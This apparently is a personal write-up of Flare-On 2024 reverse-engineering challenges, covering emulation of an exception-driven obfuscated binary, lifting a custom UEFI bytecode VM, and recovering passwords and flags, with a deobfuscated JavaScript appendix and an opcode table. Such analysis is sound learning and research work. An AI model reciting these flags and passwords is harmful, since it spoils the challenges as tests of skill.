08 7c 35 0d 76 39 7d 5c 6b 02 1c 13 19 1a 26 7b 6d 60 2e 7d 74 0d 74 7c 7d 05 6b 77 22 1e 05 20 2d 7d 72 52 2a 2d 33 37 68 20 20 1c 57 29 21

XORing with FLAREON24 as done in the PowerShell script using another CyberChef recipe, which presented the flag.

Flag: N0t_3v3n_DPRK_i5_Th15_1337_1n_Web3@flare-on.com

serpentine

I disassembled the provided Windows binary serpentine.exe using Binary Ninja. Within a TLS callback at virtual address 0x1400014f0, the binary had allocated for and mapped a large code payload (from virtual address 0x140097af0) into executable memory. After, some pre-C++ initialisation functions are called to:

  • Set stack limits
  • Find the base physical address for ntdll.dll using the PEB’s Ldr state
  • Dynamically resolve RtlInstallFunctionTableCallback
  • With the previous WinAPI function, install a dynamic function table for the mapped executable code.

With the dynamic function table, if a user exception is raised within the mapped memory, the exception dispatcher will call the program-specified to retrive RUNTIME_FUNCTION information, which includes a pointer to an UNWIND_INFO struct which contains unwind operations and a pointer to an exception handler function for the exception dispatcher to handle.

The main function (at virtual address TODO) then calls the mapped executable code, where the first instruction is actually a hlt instruction in an unprivileged context, causing the protected mode exception #GP(0). This is then handled by KiUserExceptionDispatcher which eventually calls the dynamic function callback at virtual address 0x1400010b0. This takes the address where the exception was raised and reads the following byte as a aligned relative offset to the corresponding UNWIND_INFO.

As an example, the first byte [shellcode]+0x0, is executed as a hlt instruction, the address of which the callback takes, and reads the next byte [shellcode]+0x1 being 0x46. With that, the offset of the UNWIND_INFO is [shellcode] + 0x2 + 0x46, which further points to an exception handler at 0x00000098 (relative to the mapped executable code).

Further, during debugging, self-modifying code was observed, directly modifying soon-to-be executed code and resetting back to garbage after execution. Seeing as exceptions were also used a form of control flow obfuscation and that this would be tedious to trace in a debugger, I began to write an emulator. I used the Qiling framework to write a harness for the provided Windows binary. In hindsight, this could have been done much simpler by just mapping only the encrypted code and setting up other addresses, rather than emulating the whole binary and the Windows API.

TLS Callback functions are also not called on PE load in Qiling, so I had to hook at main entrypoint to set up the decrypted code. Windows exceptions, let alone RtlInstallFunctionTableCallback, were also not implemented, so I had to hook the API which installed some hooks. One was a memory access hook which does nothing; this was added for debugging the self-modifying code, but when removed later, the emulation broke, likely due to the underlying stale Unicorn/QEMU code caches for obfuscated blocks. Another was a code hook to do basic exception handling across the mapped decrypted code, by parsing the UNWIND_INFO structs and simply jumping to the exception handler.

relative_address = address - SHELLCODE_BASE
unwind_info_relative_address = relative_address + 1 + ql.mem.read_ptr(address + 1, 1) + 1

unwind_info_relative_address += unwind_info_relative_address & 1
unwind_info_address = SHELLCODE_BASE + unwind_info_relative_address

ql.log.info(f"Reading UnwindInfo for {address:#x} (+{relative_address:#x}) @ {unwind_info_address:#x} (+{unwind_info_relative_address:#x})")
unwind_info_data = ql.mem.read(unwind_info_address, 4)
if unwind_info_data[0] != 0x09:
    ql.log.warning(f"Unexpected VersionAndFlags for {address:#x} (+{relative_address:#x}) @ {unwind_info_address:#x} (+{unwind_info_relative_address:#x})")
if unwind_info_data[1] != 0x00:
    ql.log.warning(f"Unexpected SizeOfProlog for {address:#x} (+{relative_address:#x}) @ {unwind_info_address:#x} (+{unwind_info_relative_address:#x})")

unwind_code_count = unwind_info_data[2]

align = unwind_code_count & 1
exception_handler = SHELLCODE_BASE + ql.mem.read_ptr(unwind_info_address + 4 + ((unwind_code_count + align) * 2), 4)
ql.arch.regs.arch_pc = exception_handler

When tested, this didn’t work, and I soon realised that the unwind operations within the UNWIND_INFO structs were significant as they loaded and stored values using UWOP_SAVE_NONVOL, among others. The code hook was modified to also emulate RtlVirtualUnwind by implementing these operations, while logging them for further debugging; the binary only uses UWOP_SAVE_NONVOL, UWOP_ALLOC_LARGE, UWOP_ALLOC_SMALL, UWOP_SET_FPREG, and UWOP_PUSH_MACHFRAME.

Another snag was access relative to the base of the mapped executable code; the code only sets the low bytes of the address to access some data instead of adding, and the default implementation of VirtualAlloc in Qiling did not align with 0x1000. Another WinAPI hook had to be implemented to resolve this:

@winsdkapi(cc=STDCALL, params={
    'lpAddress'        : LPVOID,
    'dwSize'           : SIZE_T,
    'flAllocationType' : DWORD,
    'flProtect'        : DWORD
})
def hook_VirtualAlloc(ql: Qiling, address: int, params):
    global SHELLCODE_BASE
    # dwSize = params["dwSize"] + 0x1000

    # address = ql.os.heap.alloc(dwSize)
    # address = (address & ~(0x1000-1))
    # ql.mem.add_mapinfo(address, address + params["dwSize"], 7, "shellcode")
    SHELLCODE_BASE = ql.mem.map_anywhere(params["dwSize"], align=0x10000, info="[shellcode]")
    return SHELLCODE_BASE

This also didn’t work, due to a segfault during emulation. Debugging on a Windows VM revealed that the obfuscated code actually made use of an argument specified for exception handlers, specifically PDISPATCHER_CONTEXT DispatcherContext. Further analysis revealed that only the struct member PCONTEXT ContextRecord was accessed by the code and this contained the register state at the time the current exception was raised. The code hook now had to allocate some structs, and create a DispatcherContext only containing the CONTEXT record, before calling the specified exception handler in the UNWIND_INFO:

    dispatcher_context = ql.os.heap.alloc(8 * 8)
    ql.mem.write_ptr(dispatcher_context, address, 8)
    ql.mem.write_ptr(dispatcher_context + 0x8, SHELLCODE_BASE, 8)
    ql.mem.write_ptr(dispatcher_context + 0x10, SHELLCODE_BASE, 8)
    ql.mem.write_ptr(dispatcher_context + 0x18, establisher_frame, 8)

    context = ql.os.heap.alloc(0x4d0)
    ql.mem.write_ptr(context + 0x34, ql.arch.regs.read(UC_X86_REG_MXCSR), 4)
    ql.mem.write_ptr(context + 0x38, ql.arch.regs.cs, 2)
    ql.mem.write_ptr(context + 0x3a, ql.arch.regs.ds, 2)

    ...

    ql.mem.write_ptr(dispatcher_context + 0x28, context, 8)

    ...

    align = unwind_code_count & 1
    exception_handler = SHELLCODE_BASE + ql.mem.read_ptr(unwind_info_address + 4 + ((unwind_code_count + align) * 2), 4)
    ql.os.fcall.call_native(exception_handler, (
        (POINTER, 0),
        (POINTER, 0),
        (POINTER, 0),
        (POINTER, dispatcher_context),
    ), ql.arch.regs.arch_pc)

With the above hooks, I can emulate the control flow of the binary. After some logging, I was confident enough to recognise obfuscation patterns so another code hook was applied to log executed instructions to lift later. The following patterns were identified:

; obfuscated instruction
push rax
mov rax, 0
mov ah, byte ptr [&BYTE]
lea eax, dword ptr ds:[eax+CONSTANT]
mov dword ptr ds:[rip+0x1],eax
pop rax
; OBFUSCATED INSTRUCTION HERE
mov dword ptr ds:[rip-0x14],676742DD

; obfuscated jump
push rax
mov rax, OFFSET_TARGET
lea rax,qword ptr ds:[rax+5]
xchg qword ptr ss:[rsp],rax
ret 

This deobfuscation hook binned grouped instructions into SerpentineRawBlocks, each logically starting and ending with a hlt instruction, also marking the instantiation of a new CONTEXT record. It also ignored calls and jmps as “proper” functions returning to the original callers were not observed during debugging. For every step, the deobfuscation hook matches the most recently executed instructions against fixed patterns:

  • If the prologue of an obfuscated instruction is matched, delete it from the history of the current SerpentineRawBlock and mark the address of the following instruction for later.
  • If an obfuscated jmp is matched, delete the return address setup from the history of the current SerpentineRawBlock.
  • If the epilogue of an obfuscated instruction is matched and refers to a previously marked instruction address, delete it from the history of the current SerpentineRawBlock

Additionally, the exception handling hook was amended to append unwind operations to the current SerpentineRawBlock for later analysis.

After a test emulation run, I noticed the program terminated early, outputting only “Wrong key”. I then identified the cmovne instructions which specified a jump target of either the fail function or the next code block depending on the result of a previous equality check. With this, I modified the deobfuscation hook to also force a successful branch to proceed executing the obfuscated code.

After logging all the filtered instructions, I wrote code to further lift SerpentineRawBlocks into a list of instruction information for further deobfuscation.

One important deobfuscation was the lifting the references to DispatcherContext->ContextRecord, as one SerpentineRawBlock may reference values stored in the registers of the previous block/”exception handler”. The lifting pass attempted to replace member accesses to ContextRecord with the corresponding register. The pass searched for mov, dst [r9 + 0x28] and tracked the destination register as the current “context register”. Note that each block may have multiple CONTEXT address reads and hence multiple context registers. Overwritten registers also had to be tracked throughout the block to the prevent erroneous interpretation of overwritten r9 as a ContextRecord access. Some references weren’t read access but rather write access prior to a read access; hence, which instructions originated from the exception handler’s CONTEXT had to be noted seperately.

Constants were also obfuscated trivially and this was lifted easily. There were two types of obfuscated constants, one set directly to a register, and another set directly to the machine frame.

The former simply was a movabs to a destination register immediately followed by an add instruction to the same register. These two instruction would be inlined as one movabs instruction.

The latter was a bit more complicated, as it initially movabs to a temporary register before immediately pushing it to the stack as the rsp value for the “machine frame” for the next block’s unwind operations, before the push of several other junk values to pad out the machine frame structure; this is then followed by an add to the pushed value on the stack, e.g. qword ptr [rsp + 0x18]. This was inlined into simple push instructions with the constant also simplified.

The emulation and partial solve script can be found here.

I then… procrastinated hard after performing this first lifting. It looked daunting and difficult, and I had personal affairs to attend to as well leading me to procrastinate for two weeks before I had the motivation to pick it up again.

After picking this challenge up again, I noticed the deobfuscated assembly had repeated referenced a couple of tables, indexed them and used them to modify intermediate variables, towards hashing the input in some form to compare later.

I then tried to identify what it was doing with the tables; from further disassembly, I identified the use of several table of tables, char (*[0x100])[0x100], and reading a byte to use in a sub, xor, add, etc., or to just set another byte in the program’s variables. The following is an example of the first operation, which I disassembled by hand:

t = INPUT_KEY[0x4] * 0xef7a8c

b = t & 0xFF
t = t + (TABLE_A[0x8d][b] << 8)
t = (t & ~0xFF) | TABLE_B[0x8d][b]

I also noticed a couple of tables were used together like in the above: one (TABLE_A) to add to the following higher byte, the other (TABLE_B) to just set the lower byte. TABLE_A acted like a “mask” of sorts, only returning 1 when b is larger than a certain value. TABLE_B just appeared to be a byte mapping, 0x00 through 0xFF, albeit rotated.

I genuinely had no idea what the lifted code meant to do, when the same night I woke up from a dream and realised it was just mere addition; TABLE_A was a table for carry value and would only be 1 when b + 0x8d would overflow, where as TABLE_B is just a lookup table (LUT) for (b * 0x8d) & 0xFF. I soon identified the purpose of the other tables:

  • AND_LUT at offset 0x1400942c0
  • XOR_LUT at offset 0x140094ac0
  • OR_LUT at offset 0x1400952c0
  • ADDITIVE_SET_LUT at offset 0x140095ac0
  • ADDITIVE_CARRY_LUT at offset 0x1400962c0
  • SUBTRACTIVE_SET_LUT at offset 0x140096ac0
  • SUBTRACTIVE_CARRY_LUT at offset 0x1400972c0

Moreover, the pattern for using these tables are as follows:

        2e5e76 ldmxcsr rbx ; the selected current byte, b
        2e5ee5 movabs rsi, 0x1400962c0 ; ADDITIVE_CARRY_LUT
        2e5fc1 mov rsi, qword ptr [rsi + 0x2e8] ; ADDITIVE_CARRY_LUT[0x5d]
        2e6028 add rsi, rbx ; ADDITIVE_CARRY_LUT[0x5d][b]
        000d26 mov bpl, byte ptr [rsi]
        000d29 movzx rbp, bpl
        000d2d shl rbp, 0x10
        2e6091 add rdi, rbp
        2e60f6 mov r14, rdi ; hash += ADDITIVE_CARRY_LUT[0x5d][b] << 0x10
        2e6160 movabs rbp, 0x140095ac0 ; ADDITIVE_SET_LUT
; LIFTED BLOCK START 13
        UWOP_SET_FPREG(rbp, 0)
        UWOP_ALLOC_LARGE(0x2e8)
        UWOP_SAVE_NONVOL(rbp, 0x140095da8) = 0x14004d0c0 ; ADDITIVE_SET_LUT[0x5d]
        000e3e ldmxcsr mxcsr ; the selected current byte, b
        2e6297 mov r13, rbp ; ADDITIVE_SET_LUT[0x5d]
        2e6301 mov r15, r14 ; hash
; LIFTED BLOCK START 14
        2e63db mov rbp, r15 ; hash from prev. CONTEXT record
        000f38 mov eax, mxcsr ; b from prev. CONTEXT
        2e6446 add rax, r13 ; ADDITIVE_SET_LUT[0x5d][b]
        000f43 mov r15b, byte ptr [rax] ; ADDITIVE_SET_LUT[0x5d][b]
        2e64ad mov r14, 0xff
        000f4d shl r14, 0x8
        000f51 not r14
        000f54 and rbp, r14
        000f57 movzx r14, r15b
        000f5b shl r14, 0x8
        000f5f or rbp, r14

With this in mind, I began to write the second-stage lifting pass. I read through the listings of the lifted blocks from the previous pass to identify further higher-level obfuscation techniques and I validated my findings with a Windows VM.

I modified the emulator to dump the lifted blocks into a JSON file, so I don’t need to run the emulation again to debug my deobfuscation, for which I planned several overengineered constructs for:

  • SerpentineOp, an IL instruction consisting of a one-byte binary operation of either and, xor, or, add or sub.
    • Note that several LiftedBlocks can map onto one SerpentineOp.
  • SerpentineBlock, different to a SerpentineRawBlock or LiftedBlock, contains:
    • A list of SerpentineOps
    • The index of the corresponding input it is computing on
    • The multiplicative constant
    • The compression operation against the result of the previous block
  • SerpentineSuperBlock, starting and ending with a cmovne, signifying one “test” performed by the binary, containing a list of SerpentineBlocks

The lifter iterated through the lifted blocks binned them accordingly to their SerpentineSuperBlock, which then binned them into SerpentineBlocks with the previous definitions. The first deobfuscations began within SerpentineBlocks with lifting instruction patterns into their SerpentineOp:

  • Identify input index from unwind operations, specifically UWOP_SAVE_NONVOL from the INPUT_KEY array.
  • Identified and verified the use of its multiplicative constant
  • If the block is not the first within its superblock, ensure and identify the compression operation that was performed after multiplication
  • Iterate through further blocks:
    • Identify the current shift of the operation through UWOP_PUSH_MACHFRAMEs or UWOP_SET_FPREG from the stack
    • From UWOP_SAVE_NONVOL, identify any reads from the LUTs
      • Derive the right-hand value from the displacement to the corresponding LUT.
      • Append new SerpentineOp and proceed
    • Iterate through movabs instructions in the block otherwise, to identify access to the additive and subtractive carry LUTs.
      • Derive the right-hand value from the displacement to the corresponding LUT.
      • Append new SerpentineOp and proceed.
      • In the following lifted blocks, a UWOP_SAVE_NONVOL may be read from the corresponding byte LUTs, so verify accordingly and skip processing.

I then ran into an edge case where an add/subtract operation is performed on the last byte (shift == 0x7 * 0x8); no carry is needed, and hence no carry was performed in the previous block. The UWOP_SAVE_NONVOL hueristic was updated to handle this to append a new SerpentineOp if and only if the corresponding shift is 0x7 * 0x8.

Earlier, with the previous validation debugging in the Windows VM, I realised that consecutive byte operations can be easily lifted into a larger operation with a QWORD as the right-hand value. After confirming with some testing, I began with the third-stage lifting pass.

This pass iterated through all operations for each block and if a run of consecutive operations with the same action is identified, reduce the constants accordingly and yield the new lifted operation. There were some operations which did nothing, specifically t &= 0xFF and t |= 0x0. I had discarded these in this lifting pass but I was hesitant because I wasn’t sure if I was missing something subtle. These were the only uses of AND_LUT and OR_LUT meaning the challenge authors had inserted look up tables and operations for seemingly no good reason other than to further pad out the program.

The lifter would output some readable Python expressions, which I intended to feed this into Z3, but it took too long to satisfy. I then tested just one lifted superblock which yielded several satisfying models but also didn’t work with consecutive checks. I then tested multiple lifted superblocks which read from the same offsets and it spent 30 minutes without yielding a satisfying model. I even changed the SMT solver to CVC5 in hopes of speeding up, but yielded nothing. I spent an entire night trying to debug the Z3 constraints and solve script, when suddenly the proof script using Z3 worked on my laptop with all constraints specified. I forgot the exact change which made this happen, but I suspect it was further narrowing for the input characters, which I hadn’t tested with all of the constraints before. Interestingly, CVC5 didn’t solve it as quickly as Z3.

As an addendum, a cleaner solve with all the above known beforehand would be simply to trace only mul instructions and references to the LUTs to immediately lift to SerpentineOps without needing to deobfuscate the assembly inbetween lifting passes.

Flag: $$_4lway5_k3ep_mov1ng_and_m0ving@flare-on.com

Catbert Ransomware

Within the provided file (bios.bin), there was the bytes 78 E5 8C 8C 3D 8A at offset 0x84010. Searching for this magic number reveals that this is a Firmware Filesystem version 2 Volume in a UEFI image. I used uefitool to peruse through the image’s filesystems to find interesting apps or non-standard PEI or DXEs but couldn’t find anything. I then attempted to emulate the firmware with QEMU:

$ qemu-system-x86_64 -bios bios.bin
Screenshot of modified UEFI shell

We can see the important decryptor being a part of the Shell application, and even identified the command decrypt_file in the help information:

Help manual for the decrypt_file command

With this in mind, I extracted and analysed the Shell UEFI application using the corresponding open-source code found in EDK2. From calls to ShellCommandRegisterCommandName at virtual offset 0x1c3bc had further identified the decrypt_file runner (ShellCommandRunDecryptFile at virtual offset 0x31bc4).

The function requires a 16 character decryption key, and reads two chunks out of the specified encrypted input file. The first chunk is passed to an unknown function (discussed later) and fails if that function did not set a global variable to a non-zero value, and if the decryption key’s CRC32/MPEG-2 checksum is compared against the following values:

  • 0x8ae981a5
  • 0x92918788
  • 0x80076040

If a match is found, it will allocate its corresponding global buffer and copy the decryption key into it. The second chunk would be decrypted with RC4 using the decryption key and written to the output file.

Afterwards, there’s some additional logic for decrypting DilBoot.efi.enc, present on the provided disk image. If all 3 global buffers are instantiated, the command will continue to construct a new key from the previous decryption keys and use that to decrypt the second UEFI application and write it back to disk.

Diving into the unknown function, I identified that it was actually the runtime for a stack-based VM, much like Python’s. The input was the password and it was injected into the bytecode as immediates before execution. The executor may also write a value to a global function indicating whether or not the input decryption key is valid for this file. I quickly reverse engineered the VM runner (see opcode listing) and wrote a dissassembler and lifter in Python and extracted the encrypted files from the provided FAT image disk.img using 7zip.

The lifter treated instruction operands as nested expressions, potentially containing an immediate constant, a StackOperand or a ScratchOperand. Several lifting passes were implemented and repeatedly called until there was no more changes. The following is a general overview of these passes:

  • pushes immediately followed by another instruction popping the same value were lifted into the one instruction, with the value of the push, either an immediate or another subexpression, inlined into the last StackOperand.
  • Similar to the previous push inlining pass, get_scratch was also inlined into the next instruction if applicable, as the subexpression SCRATCH[index]
  • Binary operations were also inlined as a subexpression if possible, circular shifts were especially handled to emit function calls, e.g. ror8(a, b) rather than infix operators

After writing the VM lifter, I began to disassemble the file to crack their passwords. The first encrypted file (catmeme1.jpg.c4tb) looked relatively easy, contained the slightly obfuscated password DaDubicle1ifeb0b encoded in immediate operands. The bytecode circular-shifts a couple of the characters, before comparing the input to the array, revealing the correct password DaCubicleLife101. This password was validated using the previous CRC32 checksum we found: 0x8ae981a5

The second file (catmeme2.jpg.c4tb) contained an encrypted form of the flag, which what appears to be an XOR keystream from an LCG cipher. Reverse engineering the bytecode reveals the use of a linear congruential generator, which is then XORed with the input to be compared against the constant array:

x = 0x1337
x = (((0x343fd * x) + 0x269ec3) % 0x80000000)

After implementing the above in python, I still haven’t got a proper decryption; closer reading of the bytecode reveals that only the low byte from each DWORD output is used for each character iteration. Decrypting the encrypted flag gives us G3tDaJ0bD0neM4te; again, validated via the CRC32 checksum 0x92918788

The third file (catmeme3.jpg.c4tb) implements several non-cryptographic hashes and checks:

  • DJBX33A(decryption_key[:4]) == 0x7c8df4cb
  • ROR13_ADD(decryption_key[4:8] == 0x8b681d82
  • ADLER32(decryption_key[8:16]) == 0x0f910374
  • FNV1(decryption_key) == 0x31f009d2

Both the DJBX33A and ROR13 hashes were solved individually using Z3 solver, resulting in VerY and DumB key parts respectively, but the Adler32 had to be be searched for in Google, in a lucky guess with adler32 f910374, which resulted in the key part password. Both the FNV1 hash and CRC checksum (0x80076040) validated the decryption key VerYDumBpassword.

With all three passwords, I emulated the construction of the RC4 key for DilBoot.efi.enc, resulting in BureaucracY4Life. The decrypted EFI application is rather simple, only prints a few messages and writes a new file, your_mind.jpg.c4tb, while directly providing the password: BrainNumbFromVm!

I noticed the many out (print character) instructions in the bytecode for your_mind.jpg.c4tb after the password check and I modified my emulator to jump to the start of that block to see the output:

  _    _    _    _    _    _
 / \  / \  / \  / \  / \  / \
( u )( n )( d )( 3 )( r )( _ )
 \_/  \_/  \_/  \_/  \_/  \_/
  _    _    _    _    _    _    _    _    _    _    _    _
 / \  / \  / \  / \  / \  / \  / \  / \  / \  / \  / \  / \
( c )( 0 )( n )( s )( t )( r )( u )( c )( t )( i )( 0 )( n )
 \_/  \_/  \_/  \_/  \_/  \_/  \_/  \_/  \_/  \_/  \_/  \_/

After decrypting your_mind.jpg, I got a bit lost and confused since this only contained @flare-on.com, and I assumed the previous text was part of the flag, resulting in und3r_c0nstructi0n@flare-on.com which was incorrect on submission. I then realised the previous catmeme JPGs actually contained the other past flag parts and I decrypted each file accordingly and concatenated each, including the output from your_mind.jpg.c4tb to get the flag.

Decrypted catmeme1.jpg
Decrypted catmeme2.jpg
Decrypted catmeme3.jpg
Decrypted your_mind.jpg

Flag: th3_ro4d_t0_succ3ss_1s_alw4ys_und3r_c0nstructi0n@flare-on.com

Appendix

Fully deobfuscated mememaker3000

const a0c = ["When you find a buffer overflow in legacy code", "Reverse Engineer", "When you decompile the obfuscated code and it makes perfect sense", "Me after a week of reverse engineering", "When your decompiler crashes", "It's not a bug, it'a a feature", "Security 'Expert'", 'AI', "That's great, but can you hack it?", "When your code compiles for the first time", "If it ain't broke, break it", "Reading someone else's code", "EDR", "This is fine", "FLARE On", "It's always DNS", "strings.exe", "Don't click on that.", "When you find the perfect 0-day exploit", "Security through obscurity", "Instant Coffee", "H@x0r", "Malware", "$1,000,000", "IDA Pro", "Security Expert"],
  a0d = {
    doge1: [["75%", "25%"], ["75%", "82%"]],
    boy_friend0: [["75%", "25%"], ["40%", '60%'], ["70%", "70%"]],
    draw: [['30%', "30%"]],
    drake: [["10%", "75%"], ["55%", "75%"]],
    two_buttons: [["10%", "15%"], ['2%', "60%"]],
    success: [["75%", "50%"]],
    disaster: [['5%', "50%"]],
    aliens: [['5%', '50%']]
  },
  a0e = {
    ...
  };
function a0f() {
  document.getElementById("caption1").hidden = true;
  document.getElementById("caption2").hidden = true;
  document.getElementById("caption3").hidden = true;
  const a = document.getElementById("meme-template");
  var b = a.value.split('.')[0x0];
  a0d[b].forEach(function (c, d) {
    var e = document.getElementById("caption" + (d + 0x1));
    e.hidden = false;
    e.style.top = a0d[b][d][0x0];
    e.style.left = a0d[b][d][0x1];
    e.textContent = a0c[Math.floor(Math.random() * (a0c.length - 0x1))];
  });
}
a0f();
const a0g = document.getElementById("meme-image"),
  a0h = document.getElementById("meme-container"),
  a0i = document.getElementById("remake"),
  a0j = document.getElementById("meme-template");
a0g.src = a0e[a0j.value];
a0j.addEventListener("change", () => {
  a0g.src = a0e[a0j.value];
  a0g.alt = a0j.value;
  a0f();
});
a0i.addEventListener('click', () => {
  a0f();
});
function a0k() {
  const a = a0g.alt.split('/').pop();
  if (a !== Object.keys(a0e)[0x5]) {
    return;
  }
  const b = a0l.textContent,
    c = a0m.textContent,
    d = a0n.textContent;
  if (a0c.indexOf(b) == 0xe && a0c.indexOf(c) == a0c.length - 0x1 && a0c.indexOf(d) == 0x16) {
    var e = new Date().getTime();
    while (new Date().getTime() < e + 0xbb8) {}
    var f = d[0x3] + 'h' + a[0xa] + b[0x2] + a[0x3] + c[0x5] + c[c.length - 0x1] + '5' + a[0x3] + '4' + a[0x3] + c[0x2] + c[0x4] + c[0x3] + '3' + d[0x2] + a[0x3] + 'j4' + a0c[0x1][0x2] + d[0x4] + '5' + c[0x2] + d[0x5] + '1' + c[0xb] + '7' + a0c[0x15][0x1] + b.replace('\x20', '-') + a[0xb] + a0c[0x4].substring(0xc, 0xf);
    f = f.toLowerCase();
    alert(atob("Q29uZ3JhdHVsYXRpb25zISBIZXJlIHlvdSBnbzog") + f);
  }
}
const a0l = document.getElementById("caption1"),
  a0m = document.getElementById("caption2"),
  a0n = document.getElementById("caption3");
a0l.addEventListener('keyup', () => {
  a0k();
});
a0m.addEventListener("keyup", () => {
  a0k();
});
a0n.addEventListener("keyup", () => {
  a0k();
});

Catbert Ransomware VM opcodes

00 - hlt
  • Terminates program
01 - push_imm
  • Reads encoded short imm following opcode
  • Pushes imm
02 - push_scratch
  • Reads encoded short imm following opcode
  • Pushes SCRATCH[imm]
03 - add_scratch
  • Reads encoded short imm following opcode
  • Pops one qword right
  • Pushes SCRATCH[imm] + right
04 - pop_scratch
  • Reads encoded short imm following opcode
  • Pops one qword value
  • SCRATCH[imm] = value
05 - get_scratch
  • Pops one qword index
  • Pushes SCRATCH[index]
06 - set_scratch
  • Pops two qwords index and value
  • Sets SCRATCH[index] = value
07 - dup
  • Copies top qword and pushes
08 - pop
  • Pops one qword and does nothing
09 - add
  • Pop two qwords left and right
  • Push one qword left + right
0A - add_imm
  • Reads encoded short imm following opcode
  • Pops one qword left
  • Pushes left + imm
0B - sub
  • Pop two qwords left and right
  • Push one qword left - right
0C - div
  • Pop two qwords left and right
  • Push one qword left / right
0D - mul
  • Pop two qwords left and right
  • Push one qword left * right
0E - jmp
  • Reads encoded short imm following opcode
  • Set VmIp += imm
0F - jz
  • Pops one qword predicate
  • Reads encoded short imm following opcode
  • If predicate == 0, set VmIp += imm
10 - jnz
  • Pops one qword predicate
  • Reads encoded short imm following opcode
  • If predicate != 0, set VmIp += imm
11 - eq
  • Pop two qwords left and right
  • Push one qword left == right
12 - lt
  • Pop two qwords left and right
  • Push one qword left < right
13 - lte
  • Pop two qwords left and right
  • Push one qword left <= right
14 - gt
  • Pop two qwords left and right
  • Push one qword left > right
15 - gte
  • Pop two qwords left and right
  • Push one qword left >= right
16 - gte_imm
  • Reads encoded short imm following opcode
  • Pop one qword left
  • Push one qword left >= imm
17 - set_return
  • Pop one qword value
  • Sets external VmStatus global to value
18 - return
  • Terminates program
19 - set_return
  • Pop one qword value
  • Sets external VmStatus global to value
1A - xor
  • Pop two qwords left and right
  • Push one qword left ^ right
1B - or
  • Pop two qwords left and right
  • Push one qword left | right
1C - and
  • Pop two qwords left and right
  • Push one qword left & right
1D - mod
  • Pop two qwords left and right
  • Push one qword left % right
1E - shl
  • Pop two qwords left and right
  • Push one qword left << right
1F - shr
  • Pop two qwords left and right
  • Push one qword left >> right
20 - cshl32
  • Pop two qwords left and right
  • Truncate left to dword
  • Truncate right to byte
  • Push one qword (left >> (32 - right)) | (left << right)
21 - cshr32
  • Pop two qwords left and right
  • Truncate left to dword
  • Truncate right to byte
  • Push one qword (left << (32 - right)) | (left >> right)
22 - cshl16
  • Pop two qwords left and right
  • Truncate left to short
  • Truncate right to byte
  • Push one qword (left >> (16 - right)) | (left << right)
23 - cshr16
  • Pop two qwords left and right
  • Truncate left to short
  • Truncate right to byte
  • Push one qword (left << (16 - right)) | (left >> right)
24 - cshl8
  • Pop two qwords left and right
  • Truncate left to byte
  • Truncate right to byte
  • Push one qword (left >> (8 - right)) | (left << right)
25 - cshr8
  • Pop two qwords left and right
  • Truncate left to byte
  • Truncate right to byte
  • Push one qword (left << (8 - right)) | (left >> right)
26 - out
  • Pops one qword value
  • Performs printf("%c", value)
  1. Unfortunately I didn’t realise this and blindly sent it to a server which fell over due to an out-of-memory error. 

Updated: